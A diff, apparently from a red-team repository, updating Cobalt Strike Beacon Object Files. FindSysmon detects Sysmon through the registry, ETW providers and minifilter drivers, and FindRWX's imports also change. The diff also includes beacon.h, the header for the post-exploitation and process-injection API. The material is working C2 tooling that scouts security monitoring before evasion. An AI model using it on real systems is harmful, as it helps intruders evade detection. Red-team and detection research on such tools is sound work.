-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
-
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
+#include <windows.h>
+
+//FindRWX
+DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/FindRWX/findrwx.o


+ 15 - 15
KIT/FindSysmon/README.md

@@ -1,15 +1,15 @@
-# FindSysmon
-Verify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.
-
-## Options
-* `reg`: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.
-* `driver`: list all the Minifilter drivers on the system and check manually if a minifilter is present that is associated with Sysmon (requires elevated privileges).
-
-## Usage
-* `findsysmon <reg | driver>`
-
-## Compile
-- 1\. Make sure Visual Studio is installed and supports C/C++.
-- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
-- 3\. Run the `bofcompile.bat` script to compile the object file. 
-- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+# FindSysmon
+Verify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.
+
+## Options
+* `reg`: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.
+* `driver`: list all the Minifilter drivers on the system and check manually if a minifilter is present that is associated with Sysmon (requires elevated privileges).
+
+## Usage
+* `findsysmon <reg | driver>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 68 - 68
KIT/FindSysmon/beacon.h

@@ -1,69 +1,69 @@
-/*
- * Beacon Object Files (BOF)
- * -------------------------
- * A Beacon Object File is a light-weight post exploitation tool that runs
- * with Beacon's inline-execute command.
- *
- * Additional BOF resources are available here:
- *   - https://github.com/Cobalt-Strike/bof_template
- *
- * Cobalt Strike 4.x
- * ChangeLog:
- *    1/25/2022: updated for 4.5
- */
-
-/* data API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} datap;
-
-DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
-DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
-DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
-DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
-DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
-DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
-
-/* format API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} formatp;
-
-DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
-DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
-DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
-DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
-DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
-
-/* Output Functions */
-#define CALLBACK_OUTPUT      0x0
-#define CALLBACK_OUTPUT_OEM  0x1e
-#define CALLBACK_OUTPUT_UTF8 0x20
-#define CALLBACK_ERROR       0x0d
-
-DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
-DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
-
-
-/* Token Functions */
-DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
-DECLSPEC_IMPORT void   BeaconRevertToken();
-DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
-
-/* Spawn+Inject Functions */
-DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
-DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
-DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
-
-/* Utility Functions */
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
 DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 6
KIT/FindSysmon/bofcompile.bat

@@ -1,6 +1,5 @@
-@ECHO OFF
-
-cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findsysmon.c
-move /y findsysmon.obj findsysmon.o
-dumpbin /disasm findsysmon.o > findsysmon.disasm
-
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findsysmon.c
+move /y findsysmon.obj findsysmon.o
+

+ 332 - 353
KIT/FindSysmon/findsysmon.c

@@ -1,353 +1,332 @@
-#include <windows.h>
-#include <stdio.h>
-#include <tdh.h>
-#include <pla.h>
-#include <oleauto.h>
-#include <tlhelp32.h>
-#include <fltuser.h>
-#include "findsysmon.h"
-#include "beacon.h"
-
-
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
-}
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-	return;
-}
-
-
-//IID: https://gist.githubusercontent.com/stevemk14ebr/af8053c506ef895cd520f8017a81f913/raw/98944bc6ae995229d5231568a8ae73dd287e8b4f/guids
-BOOL PrintSysmonPID(wchar_t * guid) {
-	HRESULT hr = S_OK;
-	ITraceDataProvider *itdProvider = NULL;
-	IID CTraceDataProvider = {0x03837513,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
-	IID IIDITraceDataProvider = {0x03837512,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
-	IID IIDIEnumVARIANT = {0x00020404,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}};
-	IID IIDIValueMapItem = {0x03837533,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
-	BOOL activeSysmon = FALSE;
-	
-	hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
-	if(FAILED(hr)) return FALSE;
-
-	hr = OLE32$CoCreateInstance(&CTraceDataProvider, 0, CLSCTX_INPROC_SERVER, &IIDITraceDataProvider, (LPVOID *) &itdProvider); 
-	if(FAILED(hr))
-	{
-		BeaconPrintf(CALLBACK_ERROR,"Failed to create instance of object: %lX", hr);
-	}
-	
-	hr = itdProvider->lpVtbl->Query(itdProvider, guid, NULL);
-	if(FAILED(hr))
-	{
-		BeaconPrintf(CALLBACK_ERROR,"Failed to query the process based on the GUID: %lX\n", hr);
-	}
-	IValueMap *ivmProcesses = NULL;
-	hr = itdProvider->lpVtbl->GetRegisteredProcesses(itdProvider, &ivmProcesses);
-	
-	if(hr == S_OK) {
-		long count = 0;
-		hr = ivmProcesses->lpVtbl->get_Count(ivmProcesses, &count);
-		
-		if (count > 0) {
-			IUnknown *pUnk = NULL;
-			hr = ivmProcesses->lpVtbl->get__NewEnum(ivmProcesses, &pUnk);
-			IEnumVARIANT *pItems = NULL;
-			hr = pUnk->lpVtbl->QueryInterface(pUnk, &IIDIEnumVARIANT, (void **)&pItems);
-			pUnk->lpVtbl->Release(pUnk);
-			
-			VARIANT vItem;
-			VARIANT vPID;
-			OLEAUT32$VariantInit(&vItem);
-			OLEAUT32$VariantInit(&vPID);
-			
-			IValueMapItem *pProc = NULL;
-			while ((hr = pItems->lpVtbl->Next(pItems, 1, &vItem, NULL)) == S_OK) {
-				vItem.punkVal->lpVtbl->QueryInterface(vItem.punkVal, &IIDIValueMapItem, (void **) &pProc);
-				pProc->lpVtbl->get_Value(pProc, &vPID);
-				
-				if (vPID.ulVal) {
-					BeaconPrintToStreamW(L"Sysmon procID:\t\t%d\n", vPID.ulVal);
-					activeSysmon = TRUE;
-				}
-
-				OLEAUT32$VariantClear(&vPID);
-				pProc->lpVtbl->Release(pProc);
-				OLEAUT32$VariantClear(&vItem);
-			}
-		}
-	}
-	ivmProcesses->lpVtbl->Release(ivmProcesses);
-	itdProvider->lpVtbl->Release(itdProvider);
-	OLE32$CoUninitialize();
-
-	return activeSysmon;
-}
-
-
-BOOL FindSysmon() {
-    DWORD status = ERROR_SUCCESS;
-    PROVIDER_ENUMERATION_INFO * penum = NULL;    
-    PROVIDER_ENUMERATION_INFO * ptemp = NULL;
-    DWORD BufferSize = 0;                       
-    HRESULT hr = S_OK;                          
-    WCHAR StringGuid[MAX_GUID_SIZE];
-	
-    HKEY hKey;
-	DWORD cbLength = MAX_DATA_LENGTH;
-	DWORD dwType;
-	char* RegData = NULL;
-	wchar_t guid[256];	
-	BOOL activeSysmon = FALSE;
-
-
-	if(ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Sysmon/Operational"), 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
-		RegData = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbLength);
-		if (RegData == NULL) {
-			return FALSE;
-		}
-
-		if(ADVAPI32$RegGetValueA(hKey,	NULL, "OwningPublisher", RRF_RT_ANY, &dwType, (PVOID)RegData, &cbLength) != ERROR_SUCCESS) {
-			return FALSE;
-		}
-		
-		if (MSVCRT$strlen(RegData) != 0) {
-			KERNEL32$MultiByteToWideChar(CP_UTF8, 0, RegData, -1, guid, 256);
-		}
-		else return FALSE;
-	}
-	else return FALSE;
-	if(RegData) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, RegData);
-	ADVAPI32$RegCloseKey(hKey);
-	
-	
-    status = TDH$TdhEnumerateProviders(penum, &BufferSize);
-    while (status == ERROR_INSUFFICIENT_BUFFER) {
-        ptemp = (PROVIDER_ENUMERATION_INFO *) MSVCRT$realloc(penum, BufferSize);
-        if (ptemp == NULL) {
-            return FALSE;
-        }
-
-        penum = ptemp;
-        ptemp = NULL;
-
-        status = TDH$TdhEnumerateProviders(penum, &BufferSize);
-    }
-	
-    if (status != ERROR_SUCCESS) 
-		BeaconPrintf(CALLBACK_ERROR,"TdhEnumerateProviders failed.\n");
-	
-    else {
-        for (DWORD i = 0; i < penum->NumberOfProviders; i++) {
-            hr = OLE32$StringFromGUID2(&penum->TraceProviderInfoArray[i].ProviderGuid, StringGuid, ARRAYSIZE(StringGuid));
-            if (FAILED(hr)) return FALSE;
-			
-			if (!MSVCRT$_wcsicmp(StringGuid, (wchar_t *)guid)) { 
-
-				BeaconPrintToStreamW(L"[!] Sysmon service found:\n===============================================================\n");
-				activeSysmon = PrintSysmonPID(guid);	
-
-				if(!activeSysmon) BeaconPrintToStreamW(L"Sysmon service status:\tStopped\n");
-				else BeaconPrintToStreamW(L"Sysmon service status:\tRunning\n");
-				
-				BeaconPrintToStreamW(L"Sysmon provider name:\t%s\nSysmon provider GUID:\t%s\n", (LPWSTR)((PBYTE)(penum)+penum->TraceProviderInfoArray[i].ProviderNameOffset), StringGuid); 
-				if (penum) {
-					MSVCRT$free(penum);
-					penum = NULL;
-				}
-				return TRUE;
-			}
-			
-        }
-    }
-
-    if (penum) {
-        MSVCRT$free(penum);
-        penum = NULL;
-    }
-	
-	return FALSE;
-}
-
-
-
-int PrintMiniFilterData(FILTER_AGGREGATE_STANDARD_INFORMATION * lpFilterInfo) {
-
-	FILTER_AGGREGATE_STANDARD_INFORMATION * fltInfo = NULL;
-	char * fltName, * fltAlt;
-	
-	fltInfo = (FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo;
-
-	int fltName_size = fltInfo->Type.MiniFilter.FilterNameLength;
-	LONGLONG src = ((LONGLONG) lpFilterInfo) + fltInfo->Type.MiniFilter.FilterNameBufferOffset;
-	fltName = (char *) MSVCRT$malloc(fltName_size + 2);
-	MSVCRT$memset(fltName, 0, fltName_size + 2);
-	MSVCRT$memcpy(fltName, (void *) src, fltName_size);
-	
-	int fltAlt_size = fltInfo->Type.MiniFilter.FilterAltitudeLength;
-	src = ((LONGLONG) lpFilterInfo) + fltInfo->Type.MiniFilter.FilterAltitudeBufferOffset;
-	fltAlt = (char *) MSVCRT$malloc(fltAlt_size + 2);
-	MSVCRT$memset(fltAlt, 0, fltAlt_size + 2);
-	MSVCRT$memcpy(fltAlt, (void *) src, fltAlt_size);	
-	
-	if (fltInfo->Flags == FLTFL_ASI_IS_MINIFILTER) {
-		BeaconPrintToStreamW(L"%-29s%s\t%26d\n", fltName, fltAlt, fltInfo->Type.MiniFilter.NumberOfInstances);
-	}
-	MSVCRT$free(fltName);
-	MSVCRT$free(fltAlt);	
-	
-	return 0;
-}
-
-
-BOOL FindMiniFilters() {
-	HRESULT res;
-	DWORD dwBytesReturned;
-	HANDLE hFilterFind;
-	DWORD dwFilterInfoSize = 1024;
-	LPVOID lpFilterInfo = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), NULL, dwFilterInfoSize);
-	BOOL foundMinifilter = FALSE;
-	
-	res = Fltlib$FilterFindFirst(FilterAggregateStandardInformation, lpFilterInfo, dwFilterInfoSize, &dwBytesReturned, &hFilterFind);
-	if (res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) return foundMinifilter;
-	if (res != S_OK) return foundMinifilter;
-	
-	BeaconPrintToStreamW(L"[+] Found MiniFilter drivers.\n[*] Check if you can identify one that is associated with Sysmon (e.g. SysmonDrv):\n\n");
-	BeaconPrintToStreamW(L"Name Minifilter\t\tPriority altitude\t\tLoaded instances\n=======================================================================\n");
-	PrintMiniFilterData((FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo);
-	foundMinifilter = TRUE;
-
-	while(true) {
-		res = Fltlib$FilterFindNext(hFilterFind, FilterAggregateStandardInformation, lpFilterInfo, dwFilterInfoSize, &dwBytesReturned);
-		if (res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) break;
-		if (res != S_OK) return foundMinifilter;
-		PrintMiniFilterData((FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo);		
-	}
-	
-	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), NULL, lpFilterInfo);
-    return foundMinifilter;
-}
-
-
-
-int go(char *args, int len) {
-	BOOL res = NULL;
-	CHAR *action;
-	datap parser;
-	
-	BeaconDataParse(&parser, args, len);
-	action = BeaconDataExtract(&parser, NULL);
-	
-	if (MSVCRT$strcmp(action, "reg") == 0) {
-		res = FindSysmon();
-		if(!res) {
-			BeaconPrintf(CALLBACK_OUTPUT, "[+] No Sysmon service found :)\n");
-			return 0;
-		}
-		else  {
-			BeaconOutputStreamW();
-			BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
-		}
-	}
-	else if (MSVCRT$strcmp(action, "driver") == 0) {
-		res = FindMiniFilters();
-		if(!res) {
-			BeaconPrintf(CALLBACK_ERROR,"[-] Couldn't list Minifilter drivers (high enough privileges?)\n");
-			return 0;
-		}
-		else  {
-			BeaconOutputStreamW();
-			BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
-
-		}
-	}
-	else {
-		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following enumeration options: reg | driver (must be elevated)\n");
-	}
-
-	return 0;
-}
-
-
+#include <windows.h>
+#include <stdio.h>
+#include <tdh.h>
+#include <pla.h>
+#include <oleauto.h>
+#include <tlhelp32.h>
+#include <fltuser.h>
+#include "findsysmon.h"
+#include "beacon.h"
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+//IID: https://gist.githubusercontent.com/stevemk14ebr/af8053c506ef895cd520f8017a81f913/raw/98944bc6ae995229d5231568a8ae73dd287e8b4f/guids
+BOOL PrintSysmonPID(wchar_t * guid) {
+	HRESULT hr = S_OK;
+	ITraceDataProvider *itdProvider = NULL;
+	IID CTraceDataProvider = {0x03837513,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	IID IIDITraceDataProvider = {0x03837512,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	IID IIDIEnumVARIANT = {0x00020404,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}};
+	IID IIDIValueMapItem = {0x03837533,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	BOOL activeSysmon = FALSE;
+	
+	hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
+	if(FAILED(hr)) return FALSE;
+
+	hr = OLE32$CoCreateInstance(&CTraceDataProvider, 0, CLSCTX_INPROC_SERVER, &IIDITraceDataProvider, (LPVOID *) &itdProvider); 
+	if(FAILED(hr))
+	{
+		BeaconPrintf(CALLBACK_ERROR,"Failed to create instance of object: %lX", hr);
+	}
+	
+	hr = itdProvider->lpVtbl->Query(itdProvider, guid, NULL);
+	if(FAILED(hr))
+	{
+		BeaconPrintf(CALLBACK_ERROR,"Failed to query the process based on the GUID: %lX\n", hr);
+	}
+	IValueMap *ivmProcesses = NULL;
+	hr = itdProvider->lpVtbl->GetRegisteredProcesses(itdProvider, &ivmProcesses);
+	
+	if(hr == S_OK) {
+		long count = 0;
+		hr = ivmProcesses->lpVtbl->get_Count(ivmProcesses, &count);
+		
+		if (count > 0) {
+			IUnknown *pUnk = NULL;
+			hr = ivmProcesses->lpVtbl->get__NewEnum(ivmProcesses, &pUnk);
+			IEnumVARIANT *pItems = NULL;
+			hr = pUnk->lpVtbl->QueryInterface(pUnk, &IIDIEnumVARIANT, (void **)&pItems);
+			pUnk->lpVtbl->Release(pUnk);
+			
+			VARIANT vItem;
+			VARIANT vPID;
+			OLEAUT32$VariantInit(&vItem);
+			OLEAUT32$VariantInit(&vPID);
+			
+			IValueMapItem *pProc = NULL;
+			while ((hr = pItems->lpVtbl->Next(pItems, 1, &vItem, NULL)) == S_OK) {
+				vItem.punkVal->lpVtbl->QueryInterface(vItem.punkVal, &IIDIValueMapItem, (void **) &pProc);
+				pProc->lpVtbl->get_Value(pProc, &vPID);
+				
+				if (vPID.ulVal) {
+					internal_printf("Sysmon procID:\t\t%d\n", vPID.ulVal);
+					activeSysmon = TRUE;
+				}
+
+				OLEAUT32$VariantClear(&vPID);
+				pProc->lpVtbl->Release(pProc);
+				OLEAUT32$VariantClear(&vItem);
+			}
+		}
+	}
+	ivmProcesses->lpVtbl->Release(ivmProcesses);
+	itdProvider->lpVtbl->Release(itdProvider);
+	OLE32$CoUninitialize();
+
+	return activeSysmon;
+}
+
+
+BOOL FindSysmon() {
